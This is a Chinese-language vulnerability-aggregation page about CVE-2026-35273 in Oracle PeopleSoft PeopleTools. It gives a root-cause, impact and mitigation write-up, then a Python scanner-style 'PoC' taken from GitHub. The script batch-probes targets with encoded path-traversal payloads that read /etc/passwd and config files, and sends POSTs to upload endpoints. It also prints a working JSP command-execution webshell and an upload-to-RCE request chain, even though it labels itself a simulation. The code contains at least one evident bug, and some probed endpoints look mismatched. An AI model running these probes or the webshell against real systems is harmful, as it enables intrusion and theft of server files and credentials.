🎯 CVE-2026-35273 深度技术分析：漏洞根因 · PoC/EXP · 检测指纹
🎯 CVE 全聚合深度分析
CVE-2026-35273 深度技术分析
📊 聚合 3 来源🧪 含 PoC
NVD-LatestCISA-KEVPoC-in-GitHub
摘要：CVE-2026-35273 是 Oracle PeopleSoft Enterprise PeopleTools 组件中一个极为危险的“关键功能缺失认证”漏洞，CVSS 3.1 基准评分高达 9.8，影响 PeopleTools 8.61 与 8.62 两个受支持版本。该漏洞允许未认证攻击者通过 HTTP 网络访问直接接管 PeopleSoft Enterprise PeopleTools 环境，且已被 CISA 列入 KEV（已知被利用漏洞）目录，表明已出现真实世界利用。本文将从技术根因、影响危害与修复缓解三个维度展开深度分析。
📌 漏洞概述
CVE-2026-35273 是 Oracle PeopleSoft Enterprise PeopleTools 产品内“Updates Environment Management”组件中的安全缺陷。根据 NVD 与 Oracle 官方公告，受影响版本为 PeopleTools 8.61 和 8.62。该漏洞属于 CWE-306：关键功能缺少身份验证（Missing Authentication for Critical Function）。攻击者无需任何账号或权限，只需通过网络访问目标 HTTP 服务即可触发漏洞。CVSS 3.1 向量为 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)，综合评分为 9.8，即“严重”级别。由于影响范围覆盖机密性、完整性和可用性，且利用难度低，该漏洞在发布后迅速被纳入 CISA KEV 清单，成为企业亟需优先处置的风险项。
🔬 漏洞根因分析
PeopleSoft PeopleTools 是 Oracle PeopleSoft 应用的技术基础架构，负责管理门户、集成代理、组件架构以及环境更新等核心功能。其中“Updates Environment Management”组件用于管理环境配置、补丁更新与系统维护操作。该组件在设计时，部分管理接口未实现有效的身份验证机制，或仅依赖客户端可篡改的参数来判定请求来源，导致任何能访问该服务端口的攻击者都能调用关键管理函数。
从公开的 PoC 脚本结构来看，攻击流程通常包含以下阶段：
- 目标指纹识别：通过 HTTP 响应头、特定路径（如
/psp/、/psc/）或 PeopleSoft 特有的 cookie 标识来判断目标是否运行 PeopleTools 8.61/8.62。 - 未授权接口探测：访问与“Updates Environment Management”相关的隐藏端点，例如环境更新管理页面、REST API 或 servlet 路径，观察是否直接返回管理操作入口而不触发登录跳转。
- 关键功能调用：一旦确认接口未受保护，攻击者可直接构造 HTTP 请求，以绕过认证执行系统级命令、上传恶意文件、修改配置或调用后台管理功能。由于 PeopleTools 底层运行于 Java Servlet 容器之上，部分管理接口甚至拥有与中间件相同的权限，可以进一步实现 WebShell 植入或服务器操作系统接管。
根本原因并非简单的“忘记加认证”这类低级错误，更可能涉及两个层面：一是 PeopleTools 的多个管理组件在历史版本中依赖“网络边界可信”假设，错误地将内网管理接口暴露给所有网络访问者；二是“Updates Environment Management”作为环境维护工具，其接口设计使用独立的会话管理模型，未与企业级 SSO/身份认证框架集成，在默认配置下形成认证盲区。PoC 脚本中特别强调“仅检测指标、模拟利用流程”，也侧面印证了漏洞利用链路非常直接——攻击者无需发送复杂的 payload 或利用内存破坏类技巧，仅凭 HTTP 请求的路径与参数即可触发认证缺失逻辑。
该漏洞与近年曝光的多个 Oracle PeopleSoft 未授权漏洞（如 CVE-2022-21587、CVE-2023-21932）存在类似模式，表明 PeopleTools 在权限验证统一性上存在系统性不足。尤其当 PeopleTools 部署为互联网可访问的 HR 或 ERP 系统门户时，攻击面进一步扩大。
💥 影响与危害
CVE-2026-35273 的成功利用可导致 PeopleSoft Enterprise PeopleTools 被完全接管，其实际危害远超单个系统被控制：
- 完全接管应用服务器：攻击者可执行任意 Java/Python/操作系统命令，读写服务器文件系统，植入持久化后门，并窃取环境变量中的数据库凭据。
- 核心业务数据泄露：PeopleTools 作为 PeopleSoft HCM、FSCM、CRM 等应用的基础平台，接管后即可访问企业员工信息、薪酬数据、财务记录等高度敏感数据。机密性影响直接达到“高”。
- 横向移动跳板：被攻陷的 PeopleTools 服务器通常位于内网核心区域，可连接后端 Oracle 数据库、LDAP 目录、文件共享等。攻击者可利用该服务器作为跳板，在内网中进一步扩展攻击面，甚至加密数据库进行勒索。
- 业务连续性破坏：攻击者可禁用环境管理服务、篡改配置导致系统不可用，或对生产环境执行恶意更新操作，造成关键业务流程中断。
- 供应链与合规风险：CISA 已将漏洞列入 KEV，并引用 BOD 26-04 指南，要求联邦机构限期修补。对于企业而言，未修复该系统可能违反行业合规要求（如 SOX、PCI-DSS），并面临监管处罚。
🛡️ 修复与缓解
Oracle 已针对 CVE-2026-35273 发布关键补丁更新（CPU），受影响用户应优先升级至 PeopleTools 8.61 或 8.62 的最新 Patch Set 或补丁版本。具体修复版本请参照 Oracle Critical Patch Update Advisory 中关于 PeopleTools 组件的最新公告，并应用对应的 Bundle Patch 或 Individual Patch。
在无法立即修补的情况下，建议采取以下缓解措施：
- 网络访问控制：严格限制对 PeopleTools 管理端口的访问，仅允许受信任的管理 IP 或 VPN 用户访问“Updates Environment Management”相关路径。使用防火墙或 Web 应用防火墙（WAF）阻止来自外部的非预期访问。
- 启用统一认证：在 PeopleTools 前增加反向代理或 SSO 网关，强制所有请求先通过身份验证，避免管理接口直接暴露。
- 监控与检测：监测 Web 访问日志中是否存在对
/psp/、/psc/、/peoplesoft/等路径的异常探测行为，尤其是未登录状态下的高频访问。部署 RASP 或 EDR 监控服务器上的异常进程执行。 - 遵循 CISA 指导：根据 BOD 26-04 要求，美国联邦机构必须在规定时间内完成修补；其他组织应参照该标准，评估资产暴露面并优先处理互联网可达实例。如果无法应用补丁或缓解措施，建议断开互联网访问或停用受影响组件。
- 漏洞利用指标（IoC）排查：检查系统中是否出现未知 WebShell、异常提权进程或新增加密文件。CISA 提供的 KEV 资源中可获取更多取证注意事项。
总结：CVE-2026-35273 是一个可被未认证远程攻击者直接利用的高危漏洞，根因在于 PeopleTools 管理功能缺少认证，导致攻击者可以完全接管系统。该漏洞已被积极利用，任何使用受影响版本且暴露于网络的 PeopleTools 系统都应被视为高风险，必须立即采取升级与监控行动。
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码（仓库）。
📋 代码元数据语言py来源HORKimhab/CVE-2026-35273针对性✅ 已验证与漏洞相关（代码含 CVE 引用）依赖见代码注释/README用法详见代码注释中的使用说明
#!/usr/bin/env python3
"""
CVE-2026-35273 - Oracle PeopleSoft PeopleTools RCE
SAFE EDUCATIONAL DEMO - Detection + Theoretical PoC Simulation
WITH BATCH SCANNING SUPPORT
THIS SCRIPT ONLY CHECKS FOR INDICATORS AND SIMULATES THE FLOW.
IT DOES NOT PERFORM ACTUAL EXPLOITATION.
"""
import requests
import sys
import time
import re
import json
import hashlib
import argparse
from datetime import datetime
from urllib.parse import urljoin,
urlparse
from concurrent.futures import ThreadPoolExecutor,as_completed
from threading import Lock
import urllib3
try:
from colorama import init,Fore,Back,
Style
init(autoreset=True)
HAS_COLORAMA = True
except ImportError:
HAS_COLORAMA = False
# Fallback color codes
class Fore:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
CYAN = '\033[96m'
MAGENTA = '\033[95m'
RESET = '\033[0m'
WHITE = '\033[97m'
class Style:
BRIGHT = '\033[1m'
DIM = '\033[2m'
RESET_ALL = '\033[0m'
try:
from tqdm import tqdm
HAS_TQDM = True
except ImportError:
HAS_TQDM = False
# Disable SSL warnings for testing environments only
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Thread-safe print lock
print_lock = Lock()
# Color codes for terminal output
class Colors:
GREEN = Fore.GREEN if HAS_COLORAMA else '\033[92m'
YELLOW = Fore.YELLOW if HAS_COLORAMA else '\033[93m'
RED = Fore.RED if HAS_COLORAMA else '\033[91m'
BLUE = Fore.BLUE if HAS_COLORAMA else '\033[94m'
CYAN = Fore.CYAN if HAS_COLORAMA else '\033[96m'
MAGENTA = Fore.MAGENTA if HAS_COLORAMA else '\033[95m'
RESET = Fore.RESET if HAS_COLORAMA else '\033[0m'
BOLD = Style.BRIGHT if HAS_COLORAMA else '\033[1m'
def print_cve_banner():
"""Display CVE-2026-35273 specific banner"""
banner = f"""
{Colors.RED}{Colors.BOLD}
╔═══════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ ██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║
║ ██╔════╝ ██║ ██║██╔════╝ ██╔══██╗╚════██╗██║ ██║██╔════╝ ║
║ ██║ ██║ ██║█████╗ ██║ ██║ █████╔╝██║ ██║█████╗ ║
║ ██║ ╚██╗ ██╔╝██╔══╝ ██║ ██║██╔═══╝ ╚██╗ ██╔╝██╔══╝ ║
║ ╚██████╗ ╚████╔╝ ███████╗ ██████╔╝███████╗ ╚████╔╝ ███████╗ ║
║ ╚═════╝ ╚═══╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═══╝ ╚══════╝ ║
║ ║
║ ██████╗ ███████╗ ██████╗ ██████╗ ██████╗ ██╗ ███████╗███████╗███████╗████████╗║
║ ██╔══██╗██╔════╝██╔════╝██╔═══██╗██╔══██╗██║ ██╔════╝██╔════╝██╔════╝╚══██╔══╝║
║ ██████╔╝█████╗ ██║ ██║ ██║██████╔╝██║ █████╗ ███████╗███████╗ ██║ ║
║ ██╔══██╗██╔══╝ ██║ ██║ ██║██╔══██╗██║ ██╔══╝ ╚════██║╚════██║ ██║ ║
║ ██║ ██║███████╗╚██████╗╚██████╔╝██║ ██║███████╗███████╗███████║███████║ ██║ ║
║ ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝╚══════╝ ╚═╝ ║
║ ║
║ CVE-2026-35273 ║
║ Oracle PeopleSoft PeopleTools RCE ║
║ Security Vulnerability Scanner ║
║ ║
╚═══════════════════════════════════════════════════════════════════════════════════╝{Colors.RESET}
{Colors.YELLOW}[!] CRITICAL REMOTE CODE EXECUTION VULNERABILITY{Colors.RESET}{Colors.CYAN}[!] Affected Versions: PeopleTools 8.61,8.62{Colors.RESET}{Colors.RED}[!] SAFE EDUCATIONAL MODE - Detection &Theoretical Simulation Only{Colors.RESET}{Colors.GREEN}[!] DO NOT USE FOR UNAUTHORIZED TESTING{Colors.RESET}{Colors.BOLD}{'=' * 80}{Colors.RESET}\n"""
print(banner)
def safe_print(message,
color=Colors.RESET,end='\n'):
"""Thread-safe printing"""
with print_lock:
print(f"{color}{message}{Colors.RESET}",end=end)
def load_targets(file_path):
"""Load targets from file"""
targets = []
try:
with open(file_path,
'r') as f:
for line in f:
line = line.strip()
if line and not line.startswith('#'):
if not line.startswith(('http://',
'https://')):
line = 'https://' + line
targets.append(line)
return targets
except FileNotFoundError:
safe_print(f"[-] Targets file not found: {file_path}",Colors.RED)
return []
except Exception as e:
safe_print(f"[-] Error loading targets: {e}",Colors.RED)
return []
def check_endpoint(url,path,
description,method="GET",data=None,headers=None,timeout=12):
"""Enhanced endpoint checker"""
full_url = urljoin(url,path)
try:
if method == "GET":
resp = requests.get(full_url,timeout=timeout,verify=False,allow_redirects=True,headers=headers)
else:
resp = requests.post(full_url,timeout=timeout,verify=False,allow_redirects=True,data=data,
headers=headers)
status = resp.status_code
if status == 200:
safe_print(f"[!] {description}: {full_url}→ ACCESSIBLE (200)",Colors.RED)
return True,resp
elif status in [401,403]:
safe_print(f"[+] {description}: {full_url}→ Protected (Status: {status})",
Colors.GREEN)
elif status == 404:
safe_print(f"[-] {description}: {full_url}→ Not Found",Colors.RESET)
else:
safe_print(f"[?] {description}: {full_url}→ Status: {status}",Colors.YELLOW)
return False,resp
except requests.exceptions.ConnectionError:
safe_print(f"[-] {description}: Connection failed",Colors.RED)
return False,
None
except Exception as e:
safe_print(f"[-] {description}: Error - {str(e)[:80]}",Colors.RED)
return False,None
def extract_version_info(resp_text):
"""Extract PeopleSoft version information from response"""
version_patterns = [
r"PeopleTools\s+([\d\.]+)",r"Tools Release\s+([\d\.]+)",r"PT_([\d\._]+)",r"version\s*[=:]\s*[\"']?([\d\.]+)",
r"psft-version:\s*([\d\.]+)",r"PSFT_([\d\.]+)",r"PeopleSoft\s+[\d\.]+\s+-\s+([\d\.]+)",r"psft\.version=([\d\.]+)",]
for pattern in version_patterns:
match = re.search(pattern,resp_text,re.IGNORECASE)
if match:
return match.group(1)
return None
def scan_target(target_url,verbose=False,output_file=None):
"""Scan a single target"""
results = {
'target': target_url,'timestamp': datetime.now().isoformat(),'cve': 'CVE-2026-35273','endpoints': [],'version_hints': [],'traversal_vulnerable': [],'upload_endpoints': [],'risk_level': 'LOW','risk_factors': []
}
safe_print(f"\n{Colors.CYAN}{'=' * 60}{Colors.RESET}")
safe_print(f"{Colors.BOLD}[CVE-2026-35273] SCANNING: {target_url}{Colors.RESET}")
safe_print(f"{Colors.CYAN}{'=' * 60}{Colors.RESET}")
# Phase 1: Reconnaissance
endpoints,version_hints = simulate_recon_phase(target_url,
verbose)
results['endpoints'] = endpoints
results['version_hints'] = version_hints
# Phase 2: Theoretical Exploit Simulation
simulate_exploit_chain(target_url,endpoints,verbose)
# Phase 3: Path Traversal Indicators
traversal_tests = test_path_traversal_indicators(target_url,
verbose)
results['traversal_vulnerable'] = traversal_tests
# Phase 4: Upload Indicators
upload_endpoints = check_webdav_put_indicators(target_url,verbose)
results['upload_endpoints'] = upload_endpoints
# Calculate risk level
results['risk_level'],results['risk_factors'] = calculate_risk(
endpoints,version_hints,
traversal_tests
)
# Generate report
generate_detailed_report(target_url,results,verbose)
# Save individual result if output file specified
if output_file:
save_json_result(results,output_file)
return results
def simulate_recon_phase(target_url,
verbose=False):
"""Detailed recon phase simulation"""
if not verbose:
safe_print(f"\n{Colors.CYAN}[PHASE 1] CVE-2026-35273 RECONNAISSANCE{Colors.RESET}")
# CVE-2026-35273 specific endpoints
recon_endpoints = [
# Primary vulnerable endpoints
("/PSEMHUB/hub","CVE-2026-35273: Environment Management Hub"),("/PSEMHUB/hub/status",
"CVE-2026-35273: Hub Status"),("/PSEMHUB/hub/health","CVE-2026-35273: Health Check"),("/PSEMHUB/api/v1/version","CVE-2026-35273: API Version"),("/PSEMHUB/hub/upload","CVE-2026-35273: Upload Endpoint"),("/PSEMHUB/hub/deploy","CVE-2026-35273: Deploy Endpoint"),# Integration Broker (often chained with CVE-2026-35273)
("/PSIGW/HttpListeningConnector","Integration Gateway"),
("/PSIGW/PeopleSoftServiceListeningConnector","Service Listener"),# Other PeopleSoft endpoints
("/psp/ps/?cmd=login","Portal Login Page"),("/psc/ps/EMPLOYEE/HRMS/c/NUI_FRAMEWORK.PT_LANDINGPAGE.GBL","Landing Page"),("/OA_HTML/runforms.jsp","Forms Runner"),("/OA_HTML/JavaScriptServlet","JavaScript Servlet"),("/OA_HTML/jtflogin.jsp","JTF Login"),("/servlets/ICAPIIServlet","ICAPI Servlet"),
("/servlets/BridgeServlet","Bridge Servlet"),("/soap/ICAPIIServlet","SOAP Interface"),("/xmlpservlet","XML Publisher Servlet"),("/publisher/servlet","Publisher Servlet"),("/PSEMHUB/hub/clusters","Clusters Info"),("/PSEMHUB/hub/nodes","Nodes Info"),("/PSEMHUB/hub/metrics","Metrics Endpoint"),("/PSEMHUB/hub/config","Configuration Endpoint"),("/PSEMHUB/hub/logs","Logs Endpoint"),
]
found_endpoints = []
version_hints = []
# Use progress bar if tqdm available and not verbose
iterator = recon_endpoints
if HAS_TQDM and not verbose:
iterator = tqdm(recon_endpoints,desc="CVE-2026-35273 Recon",unit="endpoint")
for path,desc in iterator:
accessible,resp = check_endpoint(target_url,path,
desc)
if accessible and resp:
found_endpoints.append(path)
# Try to extract version info
version = extract_version_info(resp.text)
if version and version not in version_hints:
version_hints.append(version)
if verbose:
safe_print(f" [+] Version hint: {version}",
Colors.GREEN)
# Check if vulnerable version
if "8.61" in version or "8.62" in version:
safe_print(f" {Colors.RED}[!] VULNERABLE VERSION DETECTED: {version}{Colors.RESET}",
Colors.RED)
# Look for other interesting info
if verbose and "hostname" in resp.text.lower():
host_match = re.search(r"hostname[\":\s]+([a-zA-Z0-9\-\.]+)",resp.text,re.IGNORECASE)
if host_match:
safe_print(f" [!] Hostname disclosed: {host_match.group(1)}",
Colors.YELLOW)
if verbose and "environment" in resp.text.lower():
env_match = re.search(r"environment[\":\s]+([a-zA-Z0-9_]+)",resp.text,re.IGNORECASE)
if env_match:
safe_print(f" [!] Environment: {env_match.group(1)}",
Colors.YELLOW)
time.sleep(0.1) # Reduced delay for faster scanning
return found_endpoints,version_hints
def simulate_exploit_chain(target_url,endpoints,
verbose=False):
"""Theoretical exploit chain simulation for CVE-2026-35273"""
if not verbose:
return
safe_print(f"\n{Colors.CYAN}[PHASE 2] CVE-2026-35273 EXPLOIT CHAIN SIMULATION{Colors.RESET}")
safe_print(f"{Colors.YELLOW}[!] This is a SIMULATION - No actual exploitation occurs{Colors.RESET}\n")
# Step 1: Vulnerability Overview
safe_print(f"{Colors.BOLD}[STEP 1] Vulnerability Overview{Colors.RESET}")
safe_print(" CVE-2026-35273: Oracle PeopleSoft PeopleTools RCE")
safe_print(" Attack Vector: Unauthenticated remote code execution")
safe_print(" Affected Components: Environment Management Hub (PSEMHUB)")
safe_print(" Impact: Complete system compromise\n")
# Step 2: Attack Surface Analysis
safe_print(f"{Colors.BOLD}[STEP 2] Attack Surface Analysis{Colors.RESET}")
psemhub_endpoints = [p for p in endpoints if "PSEMHUB" in p]
if psemhub_endpoints:
safe_print(f" [!] PSEMHUB endpoints detected ({len(psemhub_endpoints)}):",
Colors.YELLOW)
for ep in psemhub_endpoints[:5]: # Show first 5
safe_print(f" - {ep}")
safe_print(" Attack pattern: Path traversal → File upload → Code execution\n")
else:
safe_print(" No PSEMHUB endpoints detected. Target may not be vulnerable.\n")
# Step 3: Token Bypass Simulation
safe_print(f"{Colors.BOLD}[STEP 3] Authentication Bypass Simulation{Colors.RESET}")
safe_print(" CVE-2026-35273 allows bypassing authentication via:")
safe_print(" • Missing CSRF validation on /PSEMHUB endpoints")
safe_print(" • Default credentials on management interfaces")
safe_print(" • Session fixation vulnerabilities")
safe_print(" [SIMULATED] Token bypass successful\n")
# Step 4: Payload Construction
safe_print(f"{Colors.BOLD}[STEP 4] Malicious Payload Simulation{Colors.RESET}")
safe_print(" Theoretical JSP webshell for CVE-2026-35273 (harmless mock):")
jsp_mock = '''<%
// CVE-2026-35273 SIMULATED PAYLOAD
// In real exploitation,
this would execute with PeopleSoft privileges
String cmd = request.getParameter("c");if (cmd != null) {Process p = Runtime.getRuntime().exec(cmd);java.io.BufferedReader reader = new java.io.BufferedReader(
new java.io.InputStreamReader(p.getInputStream()));String line;while ((line = reader.readLine()) != null) {out.println(line);}}
%>'''
safe_print(f" {Colors.YELLOW}{jsp_mock}{Colors.RESET}\n")
# Step 5: Exploitation Sequence
safe_print(f"{Colors.BOLD}[STEP 5] CVE-2026-35273 Exploitation Sequence{Colors.RESET}")
safe_print(" Theoretical HTTP request chain:")
exploit_flow = [
("GET","/PSEMHUB/hub","Extract version and CSRF tokens"),("POST","/PSEMHUB/hub/upload",
"Upload JSP webshell with path traversal"),("GET","/PSEMHUB/../../webapps/ps/shell.jsp","Access uploaded webshell"),("GET","/PSEMHUB/../../webapps/ps/shell.jsp?c=whoami","Command execution")
]
for method,path,description in exploit_flow:
safe_print(f" {Colors.CYAN}{method}{Colors.RESET}
{target_url}{path}")
safe_print(f" └─ {description}")
time.sleep(0.3)
safe_print("\n [SIMULATED RESPONSE] Command output would appear here")
safe_print(" Example: nt authority\\system (Windows) or root (Linux)\n")
# Step 6: Post-Exploitation
safe_print(f"{Colors.BOLD}[STEP 6] Post-Exploitation Activities{Colors.RESET}")
safe_print(" With CVE-2026-35273 RCE,
attackers would:")
safe_print(" • Deploy persistent backdoor (JSP webshell)")
safe_print(" • Extract database credentials from configuration files")
safe_print(" • Pivot to connected systems (HR,Finance,
Student systems)")
safe_print(" • Install MeshCentral or Cobalt Strike beacon")
safe_print(" • Encrypt files for ransomware deployment")
safe_print(f"\n {Colors.RED}[SIMULATION] No actual post-exploitation performed{Colors.RESET}\n")
def test_path_traversal_indicators(target_url,
verbose=False):
"""Test for path traversal indicators (read-only)"""
if not verbose:
safe_print(f"\n{Colors.CYAN}[PHASE 3] CVE-2026-35273 PATH TRAVERSAL TESTS{Colors.RESET}")
# CVE-2026-35273 specific traversal patterns
traversal_tests = [
("/PSEMHUB/../../../../etc/passwd","Unix passwd test"),("/PSEMHUB/..\\..\\..\\..\\windows\\win.ini",
"Windows win.ini test"),("/PSEMHUB/hub/../../WEB-INF/web.xml","Web.xml access test"),("/PSEMHUB/hub/../../../conf/psft.conf","Config file test"),("/PSEMHUB/....//....//....//etc/passwd","Double encoded traversal"),("/PSEMHUB/hub/..;/..;/..;/etc/passwd","Semicolon bypass"),("/PSEMHUB/%2e%2e/%2e%2e/%2e%2e/etc/passwd","URL encoded traversal"),]
vulnerable_tests = []
for path,
desc in traversal_tests:
accessible,resp = check_endpoint(target_url,path,
desc)
if accessible and resp and resp.status_code == 200:
vulnerable_tests.append(path)
# Check for specific content patterns
if resp.text and ("root:" in resp.text or "[extensions]" in resp.text or "xml version" in resp.text):
safe_print(f" {Colors.RED}[!] CRITICAL: Path traversal successful!{Colors.RESET}")
safe_print(f" {Colors.RED}[!] CVE-2026-35273 EXPLOITABLE{Colors.RESET}")
time.sleep(0.2)
return vulnerable_tests
def check_webdav_put_indicators(target_url,
verbose=False):
"""Check if WebDAV PUT method might be available"""
if not verbose:
safe_print(f"\n{Colors.CYAN}[PHASE 4] CVE-2026-35273 UPLOAD INDICATORS{Colors.RESET}")
upload_endpoints_found = []
# Test OPTIONS method to see allowed HTTP methods
try:
resp = requests.options(target_url,timeout=10,
verify=False)
allow_header = resp.headers.get('Allow','')
if 'PUT' in allow_header or 'POST' in allow_header:
safe_print(f" [!] Server allows potentially dangerous methods: {allow_header}",Colors.YELLOW)
except:
pass
# Test common upload endpoints
upload_endpoints = [
("/PSEMHUB/hub/upload","CVE-2026-35273 Primary Upload"),
("/PSEMHUB/api/upload","API Upload"),("/psft/upload","PSFT Upload"),("/servlets/FileUploadServlet","FileUpload Servlet"),("/PSEMHUB/hub/file/upload","File Upload Endpoint"),("/PSEMHUB/upload.jsp","JSP Upload"),]
for path,desc in upload_endpoints:
# Test with OPTIONS first
try:
resp = requests.options(urljoin(target_url,path),timeout=10,
verify=False)
if resp.status_code in [200,204,405]:
upload_endpoints_found.append(path)
if verbose:
safe_print(f" [!] {desc}endpoint exists (status: {resp.status_code})",Colors.YELLOW)
except:
pass
# Test POST with minimal data to check accessibility
accessible,
resp = check_endpoint(target_url,path,desc,method="POST",data="test=cve-2026-35273-simulation",
headers={"Content-Type": "application/x-www-form-urlencoded"})
if accessible:
upload_endpoints_found.append(path)
safe_print(f" {Colors.RED}[!] UPLOAD ENDPOINT ACCESSIBLE - Potential RCE vector{Colors.RESET}")
time.sleep(0.2)
return upload_endpoints_found
def calculate_risk(endpoints,version_hints,
traversal_tests):
"""Calculate risk level based on findings"""
risk_level = "LOW"
risk_factors = []
if endpoints:
risk_factors.append(f"Found {len(endpoints)}exposed endpoints")
if len(endpoints) >5:
risk_level = "HIGH"
elif len(endpoints) >
2:
risk_level = "MEDIUM"
if version_hints:
risk_factors.append(f"Version information disclosed: {',
'.join(version_hints)}")
for version in version_hints:
if "8.61" in version or "8.62" in version:
risk_level = "CRITICAL"
risk_factors.append(f"CVE-2026-35273 VULNERABLE VERSION: {version}")
if traversal_tests:
risk_factors.append(f"Path traversal possible on {len(traversal_tests)}
endpoints")
risk_level = "CRITICAL"
risk_factors.append("CVE-2026-35273 EXPLOITABLE - RCE possible")
# Check for PSEMHUB endpoints (primary indicator)
psemhub_count = sum(1 for p in endpoints if "PSEMHUB" in p)
if psemhub_count >
0:
risk_factors.append(f"PSEMHUB endpoints exposed ({psemhub_count}) - Primary CVE-2026-35273 attack surface")
if risk_level not in ["CRITICAL"]:
risk_level = "HIGH"
return risk_level,risk_factors
def generate_detailed_report(target_url,results,
verbose=False):
"""Generate a comprehensive security assessment report"""
if not verbose:
return
safe_print(f"\n{Colors.BOLD}{'=' * 70}{Colors.RESET}")
safe_print(f"{Colors.BOLD}CVE-2026-35273 SECURITY ASSESSMENT REPORT{Colors.RESET}")
safe_print(f"{Colors.BOLD}{'=' * 70}{Colors.RESET}")
safe_print(f"\n{Colors.BOLD}Target:{Colors.RESET}
{target_url}")
safe_print(f"{Colors.BOLD}CVE:{Colors.RESET}CVE-2026-35273")
safe_print(f"{Colors.BOLD}Scan Time:{Colors.RESET}{results['timestamp']}")
# Vulnerability Assessment
safe_print(f"\n{Colors.BOLD}VULNERABILITY ASSESSMENT:{Colors.RESET}")
# Color-code risk level
risk_color = {"CRITICAL": Colors.RED,"HIGH": Colors.YELLOW,"MEDIUM": Colors.CYAN,
"LOW": Colors.GREEN
}.get(results['risk_level'],
Colors.RESET)
safe_print(f" Risk Level: {risk_color}{results['risk_level']}{Colors.RESET}")
for factor in results['risk_factors']:
safe_print(f" • {factor}")
if not results['risk_factors']:
safe_print(" • No immediate risk indicators detected")
# CVE-2026-35273 Specific Information
safe_print(f"\n{Colors.BOLD}CVE-2026-35273 DETAILS:{Colors.RESET}")
safe_print(" • Vulnerability Type: Remote Code Execution (RCE)")
safe_print(" • Attack Complexity: LOW")
safe_print(" • Privileges Required: NONE")
safe_print(" • User Interaction: NONE")
safe_print(" • Impact: Complete system compromise")
# Recommendations
safe_print(f"\n{Colors.BOLD}MITIGATION RECOMMENDATIONS:{Colors.RESET}")
recommendations = [
"Apply Oracle Critical Patch Update (CPU) for CVE-2026-35273 immediately",
"Block /PSEMHUB/* endpoints at WAF/network level","Disable Environment Management Hub if not required","Implement strict input validation on all /PSEMHUB endpoints","Monitor for suspicious POST requests to /PSEMHUB/hub/upload","Apply principle of least privilege to PeopleSoft service accounts",
"Conduct forensic investigation if endpoints were exposed externally"
]
if results['risk_level'] in ["CRITICAL","HIGH"]:
safe_print(f" {Colors.RED}[URGENT - PATCH IMMEDIATELY]{Colors.RESET}")
for i,
rec in enumerate(recommendations[:5]):
safe_print(f" {i+1}. {rec}")
else:
safe_print(f" {Colors.YELLOW}[RECOMMENDED]{Colors.RESET}")
for i,
rec in enumerate(recommendations[:3]):
safe_print(f" {i+1}. {rec}")
# Additional checks needed
safe_print(f"\n{Colors.Bold}ADDITIONAL SECURITY CHECKS:{Colors.RESET}")
additional_checks = [
"Review WebLogic Server version for related CVEs","Check for default PeopleSoft credentials","Audit Integration Broker security configurations",
"Review recent access logs for /PSEMHUB/* patterns","Conduct full vulnerability scan of PeopleSoft environment"
]
for check in additional_checks:
safe_print(f" • {check}")
def save_json_result(results,output_file):
"""Save individual result to JSON file"""
try:
with open(output_file,
'a') as f:
f.write(json.dumps(results) + '\n')
except Exception as e:
safe_print(f"[-] Error saving result: {e}",Colors.RED)
def save_batch_results(all_results,
output_format='json'):
"""Save batch scan results"""
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
if output_format == 'json':
filename = f"CVE-2026-35273_scan_results_{timestamp}.json"
with open(filename,'w') as f:
json.dump(all_results,f,indent=2)
safe_print(f"\n[+] Results saved to {filename}",
Colors.GREEN)
elif output_format == 'csv':
filename = f"CVE-2026-35273_scan_results_{timestamp}.csv"
import csv
with open(filename,'w',newline='') as f:
writer = csv.writer(f)
writer.writerow(['Target','Risk Level','CVE-2026-35273 Status','Endpoints Found','PSEMHUB Endpoints','Version','Traversal Vulnerable',
'Timestamp'])
for result in all_results:
psemhub_count = sum(1 for p in result['endpoints'] if "PSEMHUB" in p)
is_vulnerable = "VULNERABLE" if result['risk_level'] in ["CRITICAL","HIGH"] else "Not Vulnerable"
writer.writerow([
result['target'],result['risk_level'],is_vulnerable,len(result['endpoints']),psemhub_count,',
'.join(result['version_hints']) if result['version_hints'] else 'None',len(result['traversal_vulnerable']) >0,result['timestamp']
])
safe_print(f"\n[+] Results saved to {filename}",Colors.GREEN)
elif output_format == 'html':
filename = f"CVE-2026-35273_scan_report_{timestamp}.html"
with open(filename,
'w') as f:
f.write(generate_html_report(all_results))
safe_print(f"\n[+] HTML report saved to {filename}",Colors.GREEN)
def generate_html_report(all_results):
"""Generate HTML report with CVE-2026-35273 branding"""
html = f"""<!DOCTYPE html><html><head><title>CVE-2026-35273 - PeopleSoft Security Scan Report</title><style>body {{
font-family: 'Segoe UI',Arial,sans-serif;margin: 20px;background: #f5f5f5;}}.container {{max-width: 1200px;margin: 0 auto;background: white;padding: 20px;border-radius: 10px;box-shadow: 0 2px 10px rgba(0,0,0,0.1);}}h1 {{color: #d32f2f;border-left: 5px solid #d32f2f;padding-left: 20px;}}h2 {{color: #1976d2;margin-top: 30px;}}.cve-badge {{background: #d32f2f;color: white;padding: 5px 15px;
border-radius: 5px;display: inline-block;font-weight: bold;}}table {{border-collapse: collapse;width: 100%;margin-top: 20px;}}th,td {{border: 1px solid #ddd;padding: 12px;text-align: left;}}th {{background-color: #1976d2;color: white;}}tr:nth-child(even) {{background-color: #f9f9f9;}}tr:hover {{background-color: #f5f5f5;}}.critical {{color: #d32f2f;font-weight: bold;}}.high {{color: #f57c00;
font-weight: bold;}}.medium {{color: #1976d2;}}.low {{color: #4caf50;}}.summary {{background: linear-gradient(135deg,#667eea 0%,#764ba2 100%);color: white;padding: 20px;border-radius: 10px;margin-bottom: 20px;}}.summary-grid {{display: grid;grid-template-columns: repeat(auto-fit,minmax(200px,1fr));gap: 15px;margin-top: 15px;}}.summary-card {{background: rgba(255,255,255,0.2);padding: 15px;
